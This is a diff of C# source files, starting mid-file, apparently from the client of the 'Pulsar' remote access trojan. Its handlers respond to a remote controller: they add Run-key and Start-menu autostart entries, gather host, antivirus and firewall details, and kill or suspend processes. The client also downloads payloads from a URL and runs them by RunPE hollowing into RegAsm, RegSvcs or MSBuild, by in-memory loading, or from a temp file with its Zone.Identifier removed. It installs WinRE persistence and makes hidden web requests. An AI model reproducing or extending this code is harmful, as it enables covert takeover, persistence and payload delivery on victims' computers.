var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem
{ Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu }));
}
client.Send(new GetStartupItemsResponse { StartupItems = startupItems });
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" });
}
}
private void Execute(ISender client, DoStartupItemAdd message)
{
try
{
switch (message.StartupItem.Type)
{
case StartupType.LocalMachineRun:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.LocalMachineRunOnce:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.CurrentUserRun:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.CurrentUserRunOnce:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.LocalMachineRunX86:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.LocalMachineRunOnceX86:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.StartMenu:
if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
{
Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
}
string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup),
message.StartupItem.Name + ".url");
using (var writer = new StreamWriter(lnkPath, false))
{
writer.WriteLine("[InternetShortcut]");
writer.WriteLine("URL=file:///" + message.StartupItem.Path);
writer.WriteLine("IconIndex=0");
writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/'));
writer.Flush();
}
break;
}
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" });
}
}
private void Execute(ISender client, DoStartupItemRemove message)
{
try
{
switch (message.StartupItem.Type)
{
case StartupType.LocalMachineRun:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.LocalMachineRunOnce:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.CurrentUserRun:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.CurrentUserRunOnce:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.LocalMachineRunX86:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.LocalMachineRunOnceX86:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.StartMenu:
string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name);
if (!File.Exists(startupItemPath))
throw new IOException("File does not exist");
File.Delete(startupItemPath);
break;
}
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" });
}
}
}
}
@@ -0,0 +1,76 @@
using Pulsar.Client.Helper;
using Pulsar.Client.IpGeoLocation;
using Pulsar.Client.User;
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.NetworkInformation;
using Pulsar.Client.IO;
using Pulsar.Common.Messages.Administration.SystemInfo;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Client.Messages
{
public class SystemInformationHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetSystemInfo;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetSystemInfo msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetSystemInfo message)
{
try
{
IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();
var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-";
var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";
var geoInfo = GeoInformationFactory.GetGeoInformation();
var userAccount = new UserAccount();
string defaultBrowser = SystemHelper.GetDefaultBrowser();
List<Tuple<string, string>> lstInfos = new List<Tuple<string, string>>
{
new Tuple<string, string>("Processor (CPU)", HardwareDevices.CpuName),
new Tuple<string, string>("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"),
new Tuple<string, string>("Video Card (GPU)", HardwareDevices.GpuNames),
new Tuple<string, string>("Username", userAccount.UserName),
new Tuple<string, string>("PC Name", SystemHelper.GetPcName()),
new Tuple<string, string>("Domain Name", domainName),
new Tuple<string, string>("Host Name", hostName),
new Tuple<string, string>("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
new Tuple<string, string>("System Directory", Environment.SystemDirectory),
new Tuple<string, string>("Uptime", SystemHelper.GetUptime()),
new Tuple<string, string>("MAC Address", HardwareDevices.MacAddress),
new Tuple<string, string>("LAN IP Address", HardwareDevices.LanIpAddress),
new Tuple<string, string>("WAN IP Address", geoInfo.IpAddress),
new Tuple<string, string>("ASN", geoInfo.Asn),
new Tuple<string, string>("ISP", geoInfo.Isp),
new Tuple<string, string>("Antivirus", SystemHelper.GetAntivirus()),
new Tuple<string, string>("Firewall", SystemHelper.GetFirewall()),
new Tuple<string, string>("Time Zone", geoInfo.Timezone),
new Tuple<string, string>("Country", geoInfo.Country),
new Tuple<string, string>("Default Browser", defaultBrowser)
};
client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos });
}
catch
{
}
}
}
}
@@ -0,0 +1,440 @@
using Pulsar.Client.Networking;
using Pulsar.Client.Setup;
using Pulsar.Client.Helper;
using Pulsar.Common;
using Pulsar.Common.Enums;
using Pulsar.Common.Helpers;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.TaskManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Net;
using System.Reflection;
using System.Threading;
namespace Pulsar.Client.Messages
{
public class TaskManagerHandler : IMessageProcessor, IDisposable
{
private readonly PulsarClient _client;
private readonly WebClient _webClient;
public TaskManagerHandler(PulsarClient client)
{
_client = client;
_client.ClientState += OnClientStateChange;
_webClient = new WebClient { Proxy = null };
_webClient.DownloadDataCompleted += OnDownloadDataCompleted;
}
private void OnClientStateChange(Networking.Client s, bool connected)
{
if (!connected && _webClient.IsBusy) _webClient.CancelAsync();
}
public bool CanExecute(IMessage message) =>
message is GetProcesses ||
message is DoProcessStart ||
message is DoProcessEnd ||
message is DoProcessDump ||
message is DoSetTopMost ||
message is DoSuspendProcess ||
message is DoSetWindowState;
public bool CanExecuteFrom(ISender sender) => true;
private void SendStatus(string message)
{
try { _client.Send(new SetStatus { Message = message }); }
catch { }
}
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetProcesses msg: Execute(sender, msg); break;
case DoProcessStart msg: Execute(sender, msg); break;
case DoProcessEnd msg: Execute(sender, msg); break;
case DoProcessDump msg: Execute(sender, msg); break;
case DoSuspendProcess msg: Execute(sender, msg); break;
case DoSetTopMost msg: Execute(sender, msg); break;
case DoSetWindowState msg: Execute(sender, msg); break;
}
}
private void Execute(ISender client, DoProcessEnd message)
{
try
{
Process proc = Process.GetProcessById(message.Pid);
if (proc != null)
{
proc.Kill();
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = true });
SendStatus($"Process PID {message.Pid} ({proc.ProcessName}) successfully terminated");
}
else
{
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false });
SendStatus($"Kill failed: PID {message.Pid} not found");
}
}
catch (System.ComponentModel.Win32Exception ex)
{
// Happens when user lacks privileges to terminate the process
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false });
SendStatus($"Kill failed for PID {message.Pid}: Access denied (admin privileges required). {ex.Message}");
}
catch (Exception ex)
{
client.Send(new DoProcessResponse { Action = ProcessAction.End, Result = false });
SendStatus($"Kill failed for PID {message.Pid}: {ex.Message}");
}
}
// ---------------------- WINDOW HANDLERS ----------------------
private void Execute(ISender client, DoSuspendProcess message)
{
try
{
Process proc = Process.GetProcessById(message.Pid);
if (proc != null)
{
if (message.Suspend)
Utilities.NativeMethods.NtSuspendProcess(proc.Handle);
else
Utilities.NativeMethods.NtResumeProcess(proc.Handle); // <--- process-level resume
client.Send(new DoProcessResponse
{
Action = ProcessAction.Suspend,
Result = true
});
SendStatus($"Process PID {message.Pid} {(message.Suspend ? "suspended" : "resumed")}");
}
else
{
client.Send(new DoProcessResponse
{
Action = ProcessAction.Suspend,
Result = false
});
SendStatus($"Process PID {message.Pid} not found");
}
}
catch
{
client.Send(new DoProcessResponse
{
Action = ProcessAction.Suspend,
Result = false
});
SendStatus($"Failed to {(message.Suspend ? "suspend" : "resume")} PID {message.Pid}");
}
}
private void Execute(ISender client, DoSetWindowState message)
{
try
{
Process proc = Process.GetProcessById(message.Pid);
if (proc == null || proc.MainWindowHandle == IntPtr.Zero)
{
client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = false });
SendStatus($"SetWindowState failed: PID {message.Pid} not found or has no main window");
return;
}
int nCmd = message.Minimize ? 6 : 9;
bool result = Utilities.NativeMethods.ShowWindow(proc.MainWindowHandle, nCmd);
if (result)
SendStatus($"Window {(message.Minimize ? "minimized" : "restored")} for PID {message.Pid}");
else
SendStatus($"SetWindowState failed for PID {message.Pid}: Access denied or higher privilege required");
client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = result });
}
catch (Exception ex)
{
client.Send(new DoProcessResponse { Action = ProcessAction.None, Result = false });
SendStatus($"SetWindowState failed for PID {message.Pid}: {ex.Message}");
}
}
private void Execute(ISender client, DoSetTopMost message)
{
try
{
Process proc = Process.GetProcessById(message.Pid);
if (proc == null || proc.MainWindowHandle == IntPtr.Zero)
{
client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = false });
SendStatus($"SetTopMost failed: PID {message.Pid} not found or has no main window");
return;
}
const int HWND_TOPMOST = -1;
const int HWND_NOTOPMOST = -2;
const uint SWP_NOSIZE = 0x0001;
const uint SWP_NOMOVE = 0x0002;
const uint SWP_SHOWWINDOW = 0x0040;
Utilities.NativeMethods.SetForegroundWindow(proc.MainWindowHandle);
if (Utilities.NativeMethods.IsIconic(proc.MainWindowHandle))
Utilities.NativeMethods.ShowWindow(proc.MainWindowHandle, 9);
IntPtr hWndInsertAfter = new IntPtr(message.Enable ? HWND_TOPMOST : HWND_NOTOPMOST);
bool result = Utilities.NativeMethods.SetWindowPos(
proc.MainWindowHandle,
hWndInsertAfter,
0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW
);
if (result)
SendStatus($"TopMost {(message.Enable ? "enabled" : "disabled")} for PID {message.Pid}");
else
SendStatus($"SetTopMost failed for PID {message.Pid}: Access denied or higher privilege required");
client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = result });
}
catch (Exception ex)
{
client.Send(new DoProcessResponse { Action = ProcessAction.SetTopMost, Result = false });
SendStatus($"SetTopMost failed for PID {message.Pid}: {ex.Message}");
}
}
// ---------------------- PROCESS HANDLERS ----------------------
private void Execute(ISender client, GetProcesses message)
{
Process[] pList = Process.GetProcesses();
var processes = new Common.Models.Process[pList.Length];
var parentMap = GetParentProcessMap();
for (int i = 0; i < pList.Length; i++)
{
processes[i] = new Common.Models.Process
{
Name = pList[i].ProcessName + ".exe",
Id = pList[i].Id,
MainWindowTitle = pList[i].MainWindowTitle,
ParentId = parentMap.TryGetValue(pList[i].Id, out var parentId) ? parentId : null
};
}
int currentPid = Process.GetCurrentProcess().Id;
client.Send(new GetProcessesResponse { Processes = processes, RatPid = currentPid });
}
private void Execute(ISender client, DoProcessStart message)
{
SendStatus($"Starting process: {message.FilePath ?? message.DownloadUrl}");
if (string.IsNullOrEmpty(message.FilePath) && (message.FileBytes == null || message.FileBytes.Length == 0))
{
if (string.IsNullOrEmpty(message.DownloadUrl))
{
client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus("Process start failed: No file path or download URL");
return;
}
try
{
if (_webClient.IsBusy) { _webClient.CancelAsync(); while (_webClient.IsBusy) Thread.Sleep(50); }
_webClient.DownloadDataAsync(new Uri(message.DownloadUrl), message);
}
catch
{
client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus("Process start failed: Download error");
}
}
else
{
ExecuteProcess(message.FileBytes, message.FilePath, message.IsUpdate, message.ExecuteInMemoryDotNet, message.UseRunPE, message.RunPETarget, message.RunPECustomPath, message.FileExtension);
}
}
private void OnDownloadDataCompleted(object sender, DownloadDataCompletedEventArgs e)
{
var message = (DoProcessStart)e.UserState;
if (e.Cancelled || e.Error != null)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus("Process start failed: Download cancelled or error");
return;
}
ExecuteProcess(e.Result, null, message.IsUpdate, message.ExecuteInMemoryDotNet, message.UseRunPE, message.RunPETarget, message.RunPECustomPath, message.FileExtension);
}
private void ExecuteProcess(byte[] fileBytes, string filePath, bool isUpdate, bool executeInMemory, bool useRunPE, string runPETarget, string runPECustomPath, string fileExtension)
{
if (fileBytes == null && !string.IsNullOrEmpty(filePath) && File.Exists(filePath))
fileBytes = File.ReadAllBytes(filePath);
if (fileBytes == null || fileBytes.Length == 0)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus("Process start failed: no file bytes available");
return;
}
try
{
if (useRunPE) { ExecuteViaRunPE(fileBytes, runPETarget, runPECustomPath); return; }
if (executeInMemory) { ExecuteViaInMemoryDotNet(fileBytes); return; }
ExecuteViaTemporaryFile(fileBytes, fileExtension);
}
catch (Exception ex)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus($"Process start failed: {ex.Message}");
}
}
private void ExecuteViaRunPE(byte[] fileBytes, string runPETarget, string runPECustomPath)
{
new Thread(() =>
{
try
{
bool result = Helper.RunPE.Execute(GetRunPEHostPath(runPETarget, runPECustomPath, IsPayload64Bit(fileBytes)), fileBytes);
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = result });
SendStatus($"RunPE execution {(result ? "succeeded" : "failed")}");
}
catch (Exception ex)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus($"RunPE failed: {ex.Message}");
}
}).Start();
}
private void ExecuteViaInMemoryDotNet(byte[] fileBytes)
{
new Thread(() =>
{
try
{
Assembly asm = Assembly.Load(fileBytes);
MethodInfo entry = asm.EntryPoint;
if (entry != null)
entry.Invoke(null, entry.GetParameters().Length == 0 ? null : new object[] { new string[0] });
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true });
SendStatus(".NET in-memory execution succeeded");
}
catch (Exception ex)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus($".NET in-memory execution failed: {ex.Message}");
}
}).Start();
}
private void ExecuteViaTemporaryFile(byte[] fileBytes, string fileExtension)
{
try
{
string tempPath = FileHelper.GetTempFilePath(fileExtension ?? ".exe");
File.WriteAllBytes(tempPath, fileBytes);
FileHelper.DeleteZoneIdentifier(tempPath);
Process.Start(new ProcessStartInfo { UseShellExecute = true, FileName = tempPath });
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true });
SendStatus("Process executed via temporary file");
}
catch (Exception ex)
{
_client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
SendStatus($"Temporary file execution failed: {ex.Message}");
}
}
private Dictionary<int, int?> GetParentProcessMap()
{
var map = new Dictionary<int, int?>();
try
{
using (var searcher = new ManagementObjectSearcher("SELECT ProcessId, ParentProcessId FROM Win32_Process"))
using (var results = searcher.Get())
{
foreach (ManagementObject obj in results)
{
int pid = Convert.ToInt32(obj["ProcessId"]);
int? parent = obj["ParentProcessId"] != null ? Convert.ToInt32(obj["ParentProcessId"]) : (int?)null;
map[pid] = parent != pid ? parent : null;
}
}
}
catch { }
return map;
}
private bool IsPayload64Bit(byte[] payload)
{
try
{
if (payload.Length < 0x40 || payload[0] != 'M' || payload[1] != 'Z') return false;
int peOffset = BitConverter.ToInt32(payload, 0x3C);
return BitConverter.ToUInt16(payload, peOffset + 4) == 0x8664;
}
catch { return false; }
}
private string GetRunPEHostPath(string target, string customPath, bool is64)
{
string winDir = Environment.GetFolderPath(Environment.SpecialFolder.Windows);
string frameworkDir = is64
? Path.Combine(winDir, "Microsoft.NET", "Framework64", "v4.0.30319")
: Path.Combine(winDir, "Microsoft.NET", "Framework", "v4.0.30319");
if (!Directory.Exists(frameworkDir))
frameworkDir = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory();
switch (target)
{
case "a":
return Path.Combine(frameworkDir, "RegAsm.exe");
case "b":
return Path.Combine(frameworkDir, "RegSvcs.exe");
case "c":
return Path.Combine(frameworkDir, "MSBuild.exe");
case "d":
return customPath;
default:
return Path.Combine(frameworkDir, "RegAsm.exe");
}
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_client.ClientState -= OnClientStateChange;
_webClient.DownloadDataCompleted -= OnDownloadDataCompleted;
_webClient.CancelAsync();
_webClient.Dispose();
}
}
}
}
@@ -0,0 +1,119 @@
using Pulsar.Client.Utilities;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.TCPConnections;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using System;
using System.Runtime.InteropServices;
namespace Pulsar.Client.Messages
{
public class TcpConnectionsHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetConnections ||
message is DoCloseConnection;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetConnections msg:
Execute(sender, msg);
break;
case DoCloseConnection msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetConnections message)
{
var table = GetTable();
var connections = new TcpConnection[table.Length];
for (int i = 0; i < table.Length; i++)
{
string processName;
try
{
var p = System.Diagnostics.Process.GetProcessById((int)table[i].owningPid);
processName = p.ProcessName;
}
catch
{
processName = $"PID: {table[i].owningPid}";
}
connections[i] = new TcpConnection
{
ProcessName = processName,
LocalAddress = table[i].LocalAddress.ToString(),
LocalPort = table[i].LocalPort,
RemoteAddress = table[i].RemoteAddress.ToString(),
RemotePort = table[i].RemotePort,
State = (ConnectionState)table[i].state
};
}
client.Send(new GetConnectionsResponse { Connections = connections });
}
private void Execute(ISender client, DoCloseConnection message)
{
var table = GetTable();
for (var i = 0; i < table.Length; i++)
{
//search for connection
if (message.LocalAddress == table[i].LocalAddress.ToString() &&
message.LocalPort == table[i].LocalPort &&
message.RemoteAddress == table[i].RemoteAddress.ToString() &&
message.RemotePort == table[i].RemotePort)
{
// it will close the connection only if client run as admin
table[i].state = (byte) ConnectionState.Delete_TCB;
var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i]));
Marshal.StructureToPtr(table[i], ptr, false);
NativeMethods.SetTcpEntry(ptr);
Execute(client, new GetConnections());
return;
}
}
}
private NativeMethods.MibTcprowOwnerPid[] GetTable()
{
NativeMethods.MibTcprowOwnerPid[] tTable;
var afInet = 2;
var buffSize = 0;
// retrieve correct pTcpTable size
NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
var buffTable = Marshal.AllocHGlobal(buffSize);
try
{
var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
if (ret != 0)
return null;
var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid));
var rowPtr = (IntPtr)((long)buffTable + Marshal.SizeOf(tab.dwNumEntries));
tTable = new NativeMethods.MibTcprowOwnerPid[tab.dwNumEntries];
for (var i = 0; i < tab.dwNumEntries; i++)
{
var tcpRow = (NativeMethods.MibTcprowOwnerPid)Marshal.PtrToStructure(rowPtr, typeof(NativeMethods.MibTcprowOwnerPid));
tTable[i] = tcpRow;
rowPtr = (IntPtr)((long)rowPtr + Marshal.SizeOf(tcpRow));
}
}
finally
{
Marshal.FreeHGlobal(buffTable);
}
return tTable;
}
}
}
@@ -0,0 +1,42 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using Pulsar.Common.Messages.FunStuff;
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Client.Messages
{
public class WallpaperHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoChangeWallpaper;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (message is DoChangeWallpaper changeWallpaperMessage)
{
SetWallpaper(changeWallpaperMessage.ImageData, changeWallpaperMessage.ImageFormat);
}
}
private void SetWallpaper(byte[] imageData, string imageFormat)
{
string tempPath = Path.Combine(Path.GetTempPath(), $"wallpaper.{imageFormat}");
File.WriteAllBytes(tempPath, imageData);
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
}
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
private const int SPI_SETDESKWALLPAPER = 20;
private const int SPIF_UPDATEINIFILE = 0x01;
private const int SPIF_SENDCHANGE = 0x02;
}
}
@@ -0,0 +1,62 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.UserSupport.Website;
using Pulsar.Common.Networking;
using System;
using System.Diagnostics;
using System.Net;
namespace Pulsar.Client.Messages
{
public class WebsiteVisitorHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoVisitWebsite;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoVisitWebsite msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoVisitWebsite message)
{
string url = message.Url;
if (!url.StartsWith("http"))
url = "http://" + url;
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
{
if (!message.Hidden)
Process.Start(url);
else
{
try
{
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
request.UserAgent =
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
request.AllowAutoRedirect = true;
request.Timeout = 10000;
request.Method = "GET";
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
{
}
}
catch
{
}
}
client.Send(new SetStatus { Message = "Visited Website" });
}
}
}
}
@@ -0,0 +1,140 @@
using Pulsar.Client.Helper.WinRE;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.ClientManagement.WinRE;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
namespace Pulsar.Client.Messages
{
public class WinREPersistenceHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoAddWinREPersistence || message is DoRemoveWinREPersistence || message is AddCustomFileWinRE;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoAddWinREPersistence msg:
Execute(sender, msg);
break;
case DoRemoveWinREPersistence msg:
Execute(sender, msg);
break;
case AddCustomFileWinRE msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoAddWinREPersistence message)
{
try
{
string exeLocation;
try
{
exeLocation = Assembly.GetExecutingAssembly().Location;
if (string.IsNullOrEmpty(exeLocation))
{
// we running in memory
return;
}
}
catch (Exception ex)
{
// ye we def in memory
Debug.WriteLine($"Failed to get assembly location: {ex.Message}");
return;
}
byte[] bytes = System.IO.File.ReadAllBytes(exeLocation);
WinREPersistence.Uninstall();
WinREPersistence.InstallFile(bytes, ".exe");
client.Send(new SetStatus
{
Message = "Added WinRE Persistence"
});
}
catch
{
client.Send(new SetStatus
{
Message = "Failed to add WinRE Persistence"
});
}
}
private void Execute(ISender client, DoRemoveWinREPersistence message)
{
try
{
WinREPersistence.Uninstall();
client.Send(new SetStatus
{
Message = "Removed WinRE Persistence"
});
}
catch (Exception ex)
{
client.Send(new SetStatus
{
Message = $"Failed to remove WinRE Persistence: {ex.Message}"
});
}
}
private void Execute(ISender client, AddCustomFileWinRE message)
{
try
{
if (string.IsNullOrEmpty(message.Path))
{
client.Send(new SetStatus
{
Message = "Invalid path or arguments for custom file."
});
return;
}
if (!File.Exists(message.Path))
{
client.Send(new SetStatus
{
Message = "Custom file does not exist."
});
return;
}
byte[] fileBytes = File.ReadAllBytes(message.Path);
WinREPersistence.Uninstall();
string fileExtension = Path.GetExtension(message.Path);
WinREPersistence.InstallFile(fileBytes, fileExtension);
client.Send(new SetStatus
{
Message = "Added Custom File to WinRE Persistence"
});
}
catch (Exception ex)
{
client.Send(new SetStatus
{
Message = $"Failed to add custom file: {ex.Message}"
});
}
}
}
}